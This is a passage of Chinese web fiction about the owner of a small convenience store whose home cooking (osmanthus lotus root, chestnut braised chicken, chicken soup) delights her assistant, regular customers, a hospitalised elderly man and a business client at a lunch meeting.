洛淮青先是闻到一股带着桂花香气的甜香,随即又从甜香中闻到莲藕特有的清香,等到他顺着香味转头时,就看到瓷盘中躺着琥珀色的莲藕,上面淋着带干桂花的糖浆。 “桂花糖藕?”他其实刚刚码字时就隐约闻见香味,还想着厨房里是不是在炖甜汤,没想到原来是桂花糖藕。 “对,刚做的,尝尝味道如何。” 明清欢将盘子放到桌子,顺手递过去一双筷子。 “看起来就很好吃。”洛淮青说完接过筷子夹起来一片,刚咽下第一口就夸起来,说是他吃过最美味的桂花糖藕。 其实他平常不是很爱吃甜食,但这道桂花糖藕他觉得甜而不腻,特别合口味。 见他握着筷子很快将整盘桂花糖藕吃完,明清欢有点惊讶于他竟然会这么喜欢吃,想到厨房还有不少,干脆去打包了一份给他带回去吃。 桂花糖藕冷着吃热着吃都可以,热着吃时藕会显得格外粉糯,吃进肚子里整个胃都暖乎乎,冷着吃时口感则会更清爽些。 她给周瑶瑶、洛淮青两个人开的小灶,由于周瑶瑶没事喜欢端着桂花糖藕当甜品吃,很快让其他顾客发现。 让一群吃货发现好吃的,还是应节的好吃的,那明清欢耳根子就别想清静,顾客们直接在群里催,到店里催,反正就是让她卖桂花糖藕。 桂花糖藕没法当快餐卖,最多当个饭后小甜点,但既然顾客们想吃,而且马上就要迎来中秋节,明清欢觉得可以满足他们这点愿望。 店内,洛淮青吃着今天的午餐,听着顾客们喊她做桂花糖藕,想到自己早就已经吃过,心情莫名有些愉悦。 随即他又想到家里那堆刚寄过来的快递,干脆在第二天时拎到店里来。 明清欢没想到离中秋节还有几天,他竟然就来送月饼,以及其他看不出来是什么的礼盒。 无功不受禄,惊讶过后她自然是拒绝,然而洛淮青却表示不能白吃她请的美食。 “……这些都是出版社以及一些合作过的对象送的礼盒,家里就我一个人,放着太浪费了……” 洛淮青父母在他小时候就离婚各自成家,他是跟在爷爷奶奶身边长大,爷爷奶奶去世后他就是一个人过日子。 “出版社竟然还会给作者送礼盒?”周瑶瑶好奇心重,其实有点好奇礼盒中除了月饼还有什么。 不过好奇归好奇,她也没让明清欢收下东西,而是自己拿手机上网搜索去。 她低头看手机时,旁边明清欢见洛淮青是真心为这些礼盒感到苦恼,最终也没让他白拎过来那么多东西,而是意思意思收下两盒,其他的让他拿回去送给其他人。 “好。” 人和人的关系就是这么你来我往处出来的,收下他送的礼盒后,当天又做了桂花糖藕的明清欢特意给他多留出来一份。 接下来两天,由于有桂花糖藕的缘故,侠客便利店内除了饭菜香,还飘着股桂花味的甜香,特别吸引小孩子和爱吃甜食的人。 自从发现儿子不是厌食,而是不喜欢吃她做的饭后,远远妈妈心里很内疚,本着补偿心理,开始时不时带儿子来侠客便利店吃饭。 之前都是她带儿子来,难得今天老公放假,便改成一家三口一起出门。 “嚯,人还挺多。” 远远爸爸来到店门口,先注意到里面已经开始排队的人群,随即才注意到这家店的环境与布局。 侠客便利店是一家看起来就很有年头的老店,换成平常,他感觉这种环境普通的店铺,他可能根本不会去。 但听过妻子在家夸它家饭菜的美味,以及不爱吃饭的儿子到它家主动干饭,远远爸爸自然不会“以貌取店”。 一家三口加入队伍中后,远远妈妈轻嗅着店内那股甜味道:“有股桂花味,桂花能做什么菜?” “你不知道吗?老板会做桂花糖藕,可好吃了。”旁边有顾客热心地分享。 听到桂花糖藕,远远妈妈被勾起兴趣,因为这道美食她只听说过,还没吃过。 由于桂花糖藕是提前做出来的,所以现在卖给顾客们的都是冷盘,当然,如果顾客有加热的需求,明清欢也可以帮忙热一下。 明清欢记忆不错,在看到远远一家三口排到前面来时,自然记得之前看过远远在家和在店里吃饭的对比视频。 “桂花糖藕里面有糯米,小孩子不能吃太多,不然不容易消化。”每当顾客身边带着孩子时,她都不厌其烦地提醒,免得让自家小顾客因为贪嘴导致积食。 “好的,谢谢老板。” 远远妈妈本身就很爱吃甜食,她看着那份卖相十足的桂花糖藕,觉得自己一个人就能吃完,肯定不会多给儿子吃。 毕竟他还那么小,哪懂什么甜点,而且甜食吃多了还会坏牙。 远远妈妈心里想着,等端着饭菜找位置坐下时,直接拿小碗装了点饭菜放到儿子面前:“吃吧。” 比起在家她还要喂,在店里让儿子乖乖吃饭就是这么随意,而且小家伙还没意见,握着勺子就主动吃起来。 今天除了桂花糖藕,还有红烧肉、油焖大虾、金沙玉米等几个菜,其他先不说,光是红烧肉和饭搅拌均匀,再加上点金沙玉米,就已经能让小朋友吃得头都不抬。 至于为什么不给他吃油焖大虾,当然是远远妈妈要先尝尝桂花糖藕,暂时没空给他剥虾。 唔,好吃! 在加了红糖与冰糖的糖水小火慢炖下,莲藕已经被糖给腌入味,吃进嘴里香甜软糯,甜而不腻, 余味中带着淡淡桂花香,让人有种置身桂花树下的感觉。 远远妈妈只一口就爱上桂花糖藕,觉得怎么会有如此好吃的小甜点。 “妈妈,要吃。” 远远连吃几口饭后很快被桂花糖藕那股甜味给吸引,仰起小脑袋像个嗷嗷待脯的小鸟一样张开嘴巴。 “老板说小孩子不能吃这个,你快吃饭。” 三岁左右的小朋友哪里会愿意讲道理,不给吃就直接往妈妈身上爬。 “只能咬一口。”远远妈妈拿他没办法,只能给他咬一小口。 甜甜糯糯的桂花糖藕很符合小孩子的口味,远远吃完一口还要吃。 至于远远爸爸,第一次吃到这家菜的他简直惊为天人,没想到小小一家便利店里竟然有如此美味,桌上菜都不够他吃,压根没多余心思关注桂花糖藕。 直到就着肥而不腻的红烧肉干完一碗米饭,又连吃几个肉质弹嫩入味的油焖大虾后,远远爸爸终于暂时空出嘴巴来说话。 “老婆,这么好吃的菜,你竟然现在才带我来吃?”他语气里透着几分幽怨。 “额……”远远妈妈心虚一瞬后就找到理由,“那不是你忙嘛,再说我又不是没跟你说过这家店菜好吃,你之前也没说要来啊。” 她之前确实在家说过,但说的口吻是怀疑自己的厨艺。 远远爸爸听到她这么说,作为一个贴心的老公当然是一通夸夸夸,表示她做的饭很好吃,比外面餐馆里好吃多了,是自家儿子不懂得欣赏之类安慰的话。 当然,在没吃过侠客便利店饭菜前,他说这话至少有三分真心,觉得他家老婆厨艺虽然不算特别好,但做的家常菜味道也还行。 不过此时此刻,尝过侠客便利店饭菜的远远爸爸却觉得,跟这家菜味道比起来,自家老婆做的…… “藕好吃吗?给我尝尝。”远远爸爸没再抓着她之前不带自己吃说话,而是好奇起她和儿子抢着吃的桂花糖藕。 “你不是不爱吃甜的吗?” 说是这么说,她到底还是没吃独食,而是分给他一片藕。 被切成一厘米左右的莲藕上面裹着糖浆,整体呈现漂亮的琥珀色,散发出红糖特有的甜香和桂花香,看起来卖相十分诱人。 即便是平常不爱吃甜食的远远爸爸都有点被馋到,直接将藕送入口中,咀嚼间藕香、糯米香、桂花香,糖香互相融合,他还尝出淡淡红枣香,那软糯香甜,但又不会太腻的味道,让他瞬间理解为什么妻子和儿子会抢着吃。 第40章 第40章栗子烧鸡 在桂花糖藕的甜香中,转眼就到中秋节。 由于之前几个月已经回家好几趟,中秋节周瑶瑶想想决定还是不回家,而是留在店中跟明清欢一起过节。 确定她真不准备回家,明清欢倒是没劝什么,只提了一嘴让她可以在家里睡个懒觉,然后出去玩一玩,吃饭时再来店里就行。 明清欢本意是即便周瑶瑶不回家,中秋也不用她来店里帮忙,直接过来吃饭就行,但周瑶瑶哪里好意思这么干。 她早上确实睡了个懒觉,不过十点多时还是熟门熟路来到侠客便利店,就看到店内已经等着许多顾客。 “今天是不是做栗子烧鸡了?我闻见栗子香了。” “老板做的菜真是馋死个人,搞不懂她为什么不愿意开个专门的饭店,而是非要搞这种便利店。” 老顾客们对周瑶瑶并不陌生,看到她就立刻你一言我一语说起话来,还有人打趣她迟到了。 “对啊,今天有栗子烧鸡。”周瑶瑶当然知道店内今天有什么菜色,肯定完又对打趣她的顾客夸了几句自家老板人好后,直接去柜台内坐着看店。 厨房内,明清欢确实在做栗子烧鸡,此时鸡和栗子已经在锅里炖着,酱色的汤汁还没被收干,正在咕噜咕噜冒着泡,蒸汽从锅里飘出来,带着栗子特有的清香和鸡鲜味。 秋天除了有桂花,同样是吃栗子的好时节,清香扑鼻的栗子和鲜美的鸡肉一起烧,绝对是秋天里的最佳搭配之一。 随着时间的流逝,锅中汤汁渐渐被收干,变得越来越浓稠,那带着琥珀色的汤汁挂在鸡肉、栗子上,为卖相更添一分光泽感。 周瑶瑶坐在柜台后看了会店,在闻到越来越浓郁的香味时,感觉菜应该做得差不多,直接跑进厨房里帮忙。 明清欢耳朵好使,早在她刚到店时就听见声音,此时看到她并没有大惊小怪,而是关心道:“你吃早餐没?” 周瑶瑶没有回答,不过看她脸上那个表情就知道,肯定没吃。 其实很正常,在没来侠客便利店上班前,她和其他二十来岁的年轻人一样,喜欢熬夜,喜欢睡懒觉,经常不吃早餐。 正是因为如此,在家里人得知她换个工作都竟然降低熬夜频率,一日三餐变得准时,都觉得她现在这个工作很好。 “你先喝碗汤暖暖胃,然后先吃饭。” 发现她果然没吃早餐,明清欢顺手将刚出锅的汤盛出来一碗。 今天店内炖的是香菇鸡汤,里面还放了点红枣,菌菇的鲜味和鸡鲜味中带着若有似无的枣香,闻着就能鲜掉人眉毛。 周瑶瑶望着那碗又香还有卖相的鸡汤,吞咽下口水后,还是先陪她一起将饭菜端出去,随即才待在厨房里喝汤吃饭。 小火慢炖的鸡汤特别鲜,而且汤色不油腻,是清亮的金黄色,看着就让人很有食欲。 周瑶瑶稍微吹吹后对着碗沿轻抿一口,味蕾上瞬间就弥漫起咸鲜结合的味道。 好好喝啊! 昨天她睡得其实有点晚,今天起床整个人没有那么精神,但此时两口鸡汤下肚,先是味蕾感受到极致的享受,随即就是胃被热乎乎的鸡汤给暖了,整个人忽然有种精神一振的舒服感觉,同时胃口也被打开。 周瑶瑶连喝半碗汤才准备吃鸡肉,在看到碗中老板知道自己爱吃,特意打给自己的鸡翅时,脸上不自觉带出笑容。 炖得软软烂烂的鸡翅轻轻一咬皮肉就脱骨,不过吃起来却是烂而不柴,咀嚼间带着汤汁咸鲜口感,让她不知不觉就吃掉整个鸡翅。 她在厨房里享受鸡汤时,外面明清欢已经在给顾客们打饭。 今天之所以有栗子烧鸡,又有鸡汤,主要还是一直给店里送食材的供应商被人放了鸽子,导致多了好多鸡积压在手中,于是请明清欢帮忙。 明清欢对供应商一直以来提供的食材很满意,不介意帮这点小忙,所以才导致今天有烧鸡又有鸡汤。 本来她还以为顾客会嘀咕几句,没想到他们根本没觉得有什么问题,只一个劲抢着打饭。 “老板中秋节快乐。” 排队时还有热情的顾客对她送上祝福,明清欢笑着回应:“中秋节快乐。” 她说完将菜打好递出去,顾客接过来视线直接落在栗子烧鸡上。 鸡块上裹着琥珀色酱汁,浓稠的酱汁在鸡块上有种流动感,其中还点缀着金黄色栗子,整道菜卖相特别勾人食欲。 鸡肉的鲜香和栗子的甜香被完全炖在一起,你中有我,我中有你,配上绝佳的卖相,看得人迫不及待就想吃上几口。 “老板,你做的栗子烧鸡太好吃了!”有顾客边走边忍不住塞了块鸡肉进嘴,轻轻一咬鸡肉就完全脱骨,但肉质却是吃起来酥烂却不柴,尤其是皮肉连接那块,吃起来软嫩有弹性。 鸡肉本身味道就已经很鲜,吸收栗子的清香后味道咸鲜中带着点回甘,简直是人间美味。 “前几天我回老家时看到漫山遍野的栗子树,早知道栗子还能和鸡一起烧成这么香的菜,我应该捡几袋子回来的!” 有顾客吃着栗子烧鸡想到老家的栗子树,有点错过一个亿的感觉。 “你老家在哪?别误会,我不是想捡栗子,就是单纯好奇什么地方山上会长好多栗子树。”旁边有人听到“满山遍野的栗子树”,眼睛瞬间就亮起来。 不等那位错亿顾客回答,旁边另外一个顾客道:“你确定 山上栗子树不是别人种的?” 在店中大部分顾客都为栗子烧鸡的美味而惊艳时,有人却是看上鸡汤。 鸡汤炖起来简单,想要炖好喝却不容易,明清欢炖的鸡汤光闻香味就知道肯定好喝,至于卖相,那清亮不油腻的汤色,配上汤里躺着的鸡块、香菇、红枣,更是看着就既诱人又感觉很健康。 “老板,我可以多买一份汤吗?你这鸡汤炖得太好了,我想买点去医院看望病人。” 说话的是位三十多岁的女顾客,她是看到鸡汤后临时起意想去探望病人,因此在得到明清欢同意后,直接在便利店里买了个保温桶用来装鸡汤。 倒不是她对病人不上心,所以才搞出临时送汤这种,而是住院的病人是她家亲戚,还是比较有钱的那种,由于对方之前帮过她家,她一直在犹豫到底带什么去探病比较好。 毕竟常规探病礼品人家肯定用不着,至于说亲自炖汤,她不认为自己厨艺会比对方请的专业厨师好。 “这汤确实好,老板我也想多买点,送去给我爸妈他们尝尝。” 有人带头,很快其他顾客都有样学样,倒是让便利店积压的保温桶清了一批库存。 顾客们都抢着买保温桶装汤时,最先买保温桶的女顾客已经加快速度吃完饭,拎着鸡汤坐车前往医院。 医院的单人病房中,钱老爷子望着自己表侄女过来给自己送鸡汤,其实不太想喝。 人年纪大了胃口本来就不好,更别说还是生病住院时,嘴巴更是淡得吃什么都没味。 但毕竟是小辈的好意,他想着好歹得喝两口。 见父亲愿意喝,钱老爷子女儿钱月将病床上桌子拉出来,又从柜子中拿出碗筷。 等她把一切都弄妥帖,保温桶被打开,鸡汤特有的鲜味瞬间飘满整个病房,闻起来一点都不油腻,而是纯粹的鲜味中夹杂着菇香和枣香。 病床上老爷子闻见味,喉咙不自觉滚动两下,原本没什么胃口的他忽然有了点食欲。 “还挺香的,没想到表妹你汤炖得那么好。”钱月闻着鲜味不由夸道。 被夸奖的人犹豫两秒还是实话实说:“我哪有那么好的手艺,是今天在外面吃饭,看到它家汤炖得特别好,想着表叔最近胃口不好,带过来给他补点营养。” 话说完,怕表叔和表姐误会她探病还带外面买的汤,她又补充几句,表示她家经常会去那家店吃饭,那家店不光菜品味道好,食材更是干净新鲜。 她话还没说完,钱老爷子已经自己动手端着碗喝起汤来,鲜美的鸡汤顺着喉咙流下去,直接唤醒他沉睡多时的味蕾,让他慢半拍地感受到鸡汤的咸鲜,以及余味中红枣的回甘。 老爷子这辈子不知道喝过多少鸡汤,但从来没有哪碗鸡汤让他喝得那么舒服,几口汤下肚,不光让胃暖融融,更给味蕾带来极致享受,同时唤醒他的食欲,让他忽然感觉有点饿。 清亮透润的鸡汤里躺着淡黄色鸡块、深褐色香菇,还有暗红色红枣,老爷子伸手拿起筷子先吃了口鸡,鸡肉酥软脱骨,很适合他这个年纪的人吃,咀嚼间鸡肉纤维中都带着汤汁的咸鲜,让人吃得根本停不下来。 炖汤的鸡块一般来说味道不会太好,但明清欢却是在保持汤鲜的同时把鸡块做得好吃,不至于让顾客光喝汤不吃肉。 不光鸡肉好吃,吸满汤的香菇更是可口,既有香菇本身的鲜香滑嫩又有鸡鲜味,吃起来特别鲜美。 “爸,红枣就别吃了,枣皮不好消化。”看到父亲食欲大增,当女儿脸上瞬间露出笑容,不过在看到他开始吃红枣时还是赶紧开口。 “没事,我不吃皮就行。” 同样吸满汤的红枣已经绵密化沙,咬开枣皮轻轻一吸枣肉就全部进嘴,香甜中带着淡淡咸鲜味,吃起来同样很美味。 明清欢做的香菇鸡汤将咸、鲜、甜三种味道平衡得特别好,喝起来不光嘴享受到了,胃更是特别舒服,真不怪老爷子那么喜欢。 看到父亲吃得那么香,钱月都饿了,干脆又去拿个碗来想跟着他一起吃点。 “这是你表妹带来看我的病号餐。” 人年纪大了反而容易变幼稚,老爷子看到女儿想喝自己的汤,竟然还护食起来。 “不是有那么多,爸你喝得完吗?” “喝不完我慢慢喝。” “行吧,那你慢慢喝。” 难得有父亲爱吃的东西,当女儿的自然不会跟他抢,而是询问起表妹来,问鸡汤是在哪家店买的。 得知它家只卖午餐,钱月微微皱眉,随即直接去了趟侠客便利店,想要花高价聘请明清欢当自家私人厨师。 明清欢对目前的生活很满意,自然不会去给别人当什么私人厨师。 看到她拒绝,周瑶瑶松了口气。 被拒绝的钱月有点失望,不过倒是没用砸钱或者其他方法说服她,而是选择尊重她的想法。 不过从这天起,侠客便利店又多了个忠实顾客,钱月会每天中午过来吃饭,顺便让保姆排队买一份送到医院去。 之前鸡汤里的鸡肉就很好吃,而用栗子烧的鸡块,味道更是不用说。 病房内钱老爷子之前是一到饭点就很烦躁,因为没有胃口,但家里小辈总是各种劝他吃饭。 而当保姆拎着从侠客便利店买的饭菜进入病房,将菜一样样从保温桶里拿出来时,老爷子却是瞬间就被香味和卖相给吸引。 由此可见,从不爱吃饭到期待吃饭,只需要一份侠客便利店的快餐。 钱老爷子是心脏不舒服才住院观察一段时间,饮食上倒是没有太多禁忌,在饭菜摆好后,他端着碗就吃起来,栗子烧鸡不光鸡肉好吃,吸满汤汁的栗子更是美味,那种咸甜交织还带着点鲜的滋味,简直好吃到令人上瘾。 栗子直接吃好吃,加点汤拌在饭里更是美味,老爷子端着碗哐哐干饭,吃得那叫一个香,如果不是身处在病房中,看起来甚至不像个病人。 这边病人都被明清欢做的菜征服时,店内最近来她家吃饭的人越来越多。 新的一天中午,当饭菜被明清欢和周瑶瑶端出来时,排队的人已经站到大门外。 要知道今天可是工作日,工作日排队都能排那么长,可见侠客便利店如今在q市的火爆程度。 在明清欢刚开始给顾客打饭时,店门口又来了几个人,其中走在前面的两个中年人西装革履,脸上都带着笑意在聊天。 不过等在侠客便利店前站定时,其中一位中年人瞬间就有点笑不出来:“小黄,这就是你订的餐厅?” 他想听到下属否定的回答,结果就见二十岁左右的年轻人点头表示肯定。 小黄:“这家店是咱们q市如今最火的店,据说它家菜特别好吃。”他早就想来尝尝,只是没时间,今天正好能借着请客户吃饭过来,简直一举两得。 他为自己的机智感到高兴时,他上司脸都快黑了,如果不是当着客户的面不好骂人,他绝对破口大骂。 “小黄你怎么回事?怎么能安排这种破地方?”经理语气严肃,说完又赔着笑脸道歉,“周总实在不好意思,底下人不懂事……” 店内,耳力很好的明清欢听到外面传来的说话声,虽然不至于为自家店被嫌弃而感到不快,却还是下意识朝外看了一眼。 而店外,听到经理开口对顾客赔不是,小黄赶紧道:“这家店虽然不能预订,但我提前请了人帮忙排队,我们只要直接点菜就行。” 这是排队不排队的事吗? 经理狠狠瞪他一眼,觉得自己留不该把这么重要的事交给他。 小黄自然不会傻到看不懂人眼色,发现到经理对他有意见,他感觉自己简直太冤枉。 明明是经理之前交代说这位客户很爱美食,所以请客的地方其他方面都是次要,主要得菜好吃。而若论q市现在哪家菜好吃,在网上随便一问,十个人至少有八个会推荐侠客便利店。 周总望着店里排成老长的队,加上站在门口就能闻见诱人的菜香,开口道:“没 事,来都来了,我也尝尝你们q市的美食。” “要不我们还是去亿豪酒店吃?”经理望着侠客便利店的环境,觉得请客户在这里饭实在太寒酸。 “就在这吃吧,我闻见栗子烧鸡的香味了,还挺香。” 周总说完看向小黄,问他是怎么安排的。 小黄见客户没有意见,赶紧拿手机联系代排队的跑腿,得知他们正好已经排到前面,直接将今日菜谱报出来。 得知这家店只有六菜一汤,而且还没有那种大菜,经理眉头再次皱起来,心里有点想骂人。 “那就都尝尝。”周总说完打量着已经挤满人的店,“里面有位置坐吗?” 他是白手起家的成功人士,年轻时也是过过苦日子的,瞧着很有年代感的侠客便利店,倒没觉得来这里吃饭配不上自己的档次,反而勾起年轻时的回忆。 对年轻时的他来说,在外面吃饭都是件奢侈的事情,偶尔跟朋友出来下次馆子,那简直跟过年一样高兴又热闹。 小黄又不是真职场小白,他是做过客户功课才敢定这种地方,其他安排自然都做得妥妥当当。 除了安排好几个跑腿帮忙代排队外,他还安排人准备了坐起来比较舒服的软皮折叠椅以及折叠桌。 此时店内自然没有位置给他们坐,但他们却是能在店外坐着好好吃顿饭。 几分钟后,周总一行人在店门外坐好,六菜一汤加自带的酒全部上桌,另外还有盆雪白晶莹的米饭。 有打完饭直接蹲店门口吃的顾客看到他们吃个快餐自带桌椅不说,竟然还特意带盘子来装菜,忍不住发出感叹:“讲究,太讲究了!” “别说,老板做的菜装在瓷盘里,我感觉跟星级酒店做的也没区别。” “确实。” 发现下属好歹知道准备桌椅,也没真让客户捧着一次性餐盒吃饭,经理心里刚松口气,就又因为被围观而微微皱眉。 就在他抬头关注着客户的脸色,生怕对方生气时,就见周总已经端起碗筷吃起来。 其实刚到侠客便利店门口时周总心里也有那么一瞬间的不高兴,毕竟他现在也算是个大老板,被人带到这么个连饭店都算不上的地方吃饭,哪怕他心里不嫌弃,但却有种被人怠慢的感觉。 不过作为一个美食爱好者,在闻见菜香时他那点不快就消失,反而觉得安排这家店的人挺懂自己。 之前在门口他就已经感觉很香,此时菜摆到面前,那扑鼻而来的香味以及菜品的卖相,全都令他食指大动。 今天店里有油焖大虾、酱香猪蹄、金沙玉米、咸蛋白炒豆腐、栗子烧鸡、蒜蓉生菜,以及山药排骨汤。 六菜一汤盛在精致的盘子中,除了菜品种类不够多,摆上桌卖相完全不比大酒店的宴席差。 刚刚周总最先注意到的就是栗子烧鸡的香味,此时自然最先朝它下筷子。 鸡块夹起来,浓郁的酱汁缓缓流动,菜品散发出来的诱人鲜香,让人连汤都不想浪费,下意识拿碗去接。 栗子烧鸡中的鸡肉吸收栗子的清香甘甜,整体口感咸鲜回甘,肉质酥烂入味。他吸引咀嚼着嘴里的鸡肉,发现连半点腥味都吃不出来就算了,鸡块切口出更是完美,一点骨渣都不带。 “好吃,这道栗子烧鸡火候把握得特别好,鸡肉烂而不柴,调味更是绝了。”周总夸完又尝一口栗子,发现栗子味道比鸡肉也不差什么,吃起来绵绵密密,咀嚼间一股甘甜在舌尖上化开,浓郁栗子清香中带着鸡鲜味与酱汁的咸味,味道简直不要太好。 客户夸好经理当然得捧场,还没吃就先夸起来:“确实,这栗子烧鸡看着就卖相十足。” 他说完夹起块鸡肉送入口中,酱汁浓郁的鸡肉轻轻一咬就从骨头上脱下来,鲜滑可口,鸡味浓郁。 原本因为觉得下属胡乱订餐厅,他心里多少有些火气,而随着几块栗子烧鸡下肚,美食让他心情都变得平和。甚至心里小小反思起来,觉得刚刚不该说这家店是破店,毕竟能做出这么好吃菜的店,怎么看也不会是破店。 在他还沉浸在栗子烧鸡的美味中时,桌上其他人已经开始向着油焖大虾下筷子。 琥珀色酱汁均匀包裹着红色大虾,让它看起来泛着晶莹的光泽感,令人光是看着就很有食欲。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 40-44 第41章 第41章萝卜焖牛腩 油焖大虾属于鲁菜,酱汁勾芡裹在虾身上为它带来光泽感,炖煮中虾脑融入汤中,让汤汁底色更加鲜美。 周总夹起只虾送入嘴边,轻轻嘬一口虾身上的汤汁,咸鲜中带着丝焦糖的回甘,让他迫不及待咬向被开背的虾肉。 暴露在虾壳外的肉表面带着点焦香,而从虾壳里咬出来的肉则要更嫩些,紧实的虾肉与酱汁的味道相融合,层层递进的咸鲜味在味蕾上化开,简直是人间美味。 油焖大虾不是什么稀罕菜色,对于周总来说,别说油焖大虾,就是蓝龙虾、波士顿龙虾之类的虾对他来说都只是平常,但今天这道油焖大虾,却是让他感觉自己以前的虾都白吃了。 非要让他形容这道油焖大虾好在哪,大概就是无可挑剔,吃得人特别舒服,吃了还想吃那种好吃。 就连他这个老饕都被桌上饭菜给征服,更别说桌上其他人。 小黄就算了,毕竟他本身就是个吃货,否则不会想着请客户吃饭时选自己想吃的地方。 刚刚还对侠客便利店特别不满的经理,现在早就已经真香,压根顾不上附近有其他顾客围观他们,已经筷子不停地吃起来。 皮滑肉嫩,酱汁浓郁的栗子烧鸡好吃;紧实弹牙,鲜味被油脂完全激发的油焖大虾好吃;咸鲜微沙与脆嫩清甜两种滋味互相映衬的金沙玉米好吃…… 总而言之,经理感觉桌上每道菜都好吃到自己心坎里去,甚至某种程度上已经忘记这是在宴请客户。 “这是什么?”直到吃到那盘豆腐时,他感觉味道好像有哪里不对,下意识发出疑问。 管他是什么,好吃不就行了。 小黄心里想着,不过没敢说出来,而是伸出筷子尝一口豆腐,觉得这家店真是绝了,连豆腐都烧得那么好吃,半点豆腥味都没吃出来,反而吃出股鲜味,整体味道咸鲜嫩滑,特别美味。 周总闻言脸上却是露出笑容:“你们没吃出来豆腐里有什么吗?” 其他人把各种调料都猜了一遍,他才终于不再卖关子:“豆腐吃起来有鲜味,是因为里面放了咸蛋白一起烧,我估计厨师应该是把咸蛋黄用来做金沙玉米,不想浪费剩下的咸蛋白……” 看得出来周总对美食确实很感兴趣,说起相关话题来简直有点停不下来。 经理反应过来刚刚自己竟然光顾着吃去,心里暗暗有点后悔,觉得喝酒误事就算了,怎么美食也能误事。 此时听到周总滔滔不绝讲着桌上那道咸蛋白烧豆腐,赶紧捧场道:“还是周总会吃,你要是不说,我都没尝出来原来豆腐里放了咸蛋白,怪不得吃起来那么鲜。” 他说完拿起桌上的酒准备打开,却被周总抬手阻止:“不用了,今天不想喝酒,你们自便。” 今天这桌菜不光调味是一绝,更重要的是每道菜都激发出食材的本味,给味蕾带来绝佳的享受。 周总觉得如此美食得用心品尝,不想被酒味沾染,至于说想喝点什么的话,他觉得桌上那道山药排骨汤就很合他口味。 这点眼力见经理还是有的,闻言立刻放下酒瓶改盛了碗汤送到他手边。 比起经理忍着馋意在努力招呼客户,小黄就爽多了,吃完栗子烧鸡吃大虾,吃完大虾吃玉米,吃完玉米吃猪蹄,吃完猪蹄吃生菜。 当发现看起来简简单单的蒜蓉生菜吃进嘴里都格外咸香爽口时,小黄早就忘记今天是来干嘛的,完全沉浸在美食中。 享受完美食,人的心情往往会变得特别好,周总吃饱后望着周围的街景,觉得今天这顿饭怕是自己很 久都不会忘记。 “算你小子运气好,不过下次做事还是得注意点,毕竟不是所有顾客都像周总这么好说话。” 送走客户,成功签完合同的经理望着自家下属,已经没有刚到侠客便利店时的生气,反而提点起他来,希望他不要为今天合同签订而觉得所有顾客都能在这种地方招待。 “我记住了。”小黄心说他又不傻,当然知道那种爱面子讲档次的客户不能往侠客便利店带。 在两人回到公司找报销时,直接把老板都惊动了,毕竟周总可是他们公司大客户,得知他们请人吃饭才报销几百块钱,老板怀疑他们是不是疯了。 “我缺你们这点报销费吗?几百块钱够干嘛?你们确定是请周总吃饭去了?” 实际上去侠客便利店吃一顿饭连几百块都不需要,报销里大部分金额反而是跑腿费,桌椅以及盘子钱,至于酒,他们倒是准备了一瓶很有档次的酒,但压根就没机会打开。 “老板你听我解释,是这样的……” 经理还想解释几句,结果老板就看到报销单上什么跑腿费、盘子费之类报销,脸直接黑了:“你们到底在搞什么?我把这么重要的客户交给你们招待,你们就这样胡来?” 眼见老板有些生气,经理感觉现在说什么都白搭,直接把合同递到他面前。 “你们是不是……嗯?合同签下来了?”老板在看到合同时,直接来了个当场变脸。 只要合同签好,其他一切都好说,老板脸上又阴转晴,开始好奇他们是怎么只花几百块钱就搞定合同。 终于有说话的机会,经理将前因后果解释一遍,不过倒是没忘记小黄的功劳,夸了句他地方选得好,周总吃得满意,主动提出签合同。 销售经理本来不是多爱吃的人,现在提起侠客便利店就滔滔不绝夸起来,甚至不自觉描述起来,夸它家每道菜都做得色香味俱全。 “真有那么好吃?”老板被他勾起好奇心。 “特别好吃,它家栗子烧鸡简直绝了,鸡肉完全没腥味,肉质特别鲜滑,我以前不懂什么叫鸡有鸡味,但吃过它家栗子烧鸡,忽然就理解。” 实际上哪是他自己理解的,而是在饭桌上周总夸栗子烧鸡味道好,鸡味浓郁,让他给记住,才明白原来这种好吃就是传说中的鸡有鸡味。 老板对自家销售经理还挺了解,知道他平常不是这种咋呼的性格,见他这么夸张,就知道那里店估计真的挺好吃,正好签完合同可以庆祝一下,当即表示可以去那家店聚餐庆祝。 侠客便利店明显不是什么适合聚餐的地方,最终事情还是被交到小黄手中,他觉得既然去店里吃不方便,干脆还是老办法,多找点跑腿帮忙买饭,直接在公司里聚餐。 一场秋雨一场寒,前天晚上下了场雨后,次日周瑶瑶来店里时已经裹上件带毛毛的外套。 “好冷啊……” 她抱怨着天气说降温就降温时,就发现自家老板依旧穿着件单衣,不由发出羡慕的声音:“老板你体质真好,竟然不怕热也不怕冷。” “你要是还冷,可以去楼上再拿件厚外套。”明清欢看到她整个人缩成一团,想到她现在就那么怕冷,等到冬天时那还得了。 周瑶瑶确实有点冷,但现在这个天气,倒也不至于就把自己包成粽子,摇头婉拒她好意后开始吃早餐。 这个天气吃上碗热乎乎的鸡蛋面简直不要太舒服,鲜美的鸡蛋配上爽滑的面条,吃完从胃暖遍全身。 “太好吃了,老板你煮的面我天天吃都不会腻。”周瑶瑶呼噜呼噜吃着面条,不知道是不是身体里增加了热量,她开始感觉冷意离自己远一些。 秋风的寒冷也阻止不了顾客们对便利店早餐的热情,今天依旧八点不到就卖完早餐,不过来买早餐的基本上都是年纪比较大的顾客,估计年轻人在这种天气要么还在上班,要么根本起不来床。 “不用你帮忙,你去外面看店。” 知道周瑶瑶怕冷,早餐卖完后明清欢没让她留在厨房里帮忙处理食材,而是打发她去店里坐着。 周瑶瑶出去时就看到洛淮青在帮忙看店,熟门熟路地给其他顾客找要买的东西,哪怕已经不是第一见这种画面,还是有点破次元的感觉。 毕竟换做几个月前,打死她都想不到,自己追文的作者竟然离自己那么近,而且这个作者还不是小作者,而是网文大神。 在周瑶瑶感叹着世界真奇妙时,洛淮青发现她出来,就直接坐回自己原本的位置上,打开电脑开始啪啪啪敲键盘。 他在忙着打字,周瑶瑶帮买东西的顾客算账时,厨房内明清欢已经开始处理食材准备晚餐。 冬吃萝卜夏吃姜,现在离入冬已经不远,用水灵灵的白萝卜配上牛腩炖上一锅,味道好吃又暖胃,简直不要太适合现在这个天气。 明清欢先将白萝卜削皮切成滚刀块,那利落的刀工,也就是周瑶瑶不在厨房里,否则怕是又要边拍照边惊呼出声。 为了去除萝卜的苦涩味,切好的萝卜块被她放入水中浸泡,随即开始处理其他食材。 食材全部准备好,她先淘米将米饭蒸上,然后才正式开始烧菜。新鲜的牛腩先焯水去腥,再拿点冰糖给牛腩简单炒个糖色,很快牛腩就变成漂亮的琥珀色。 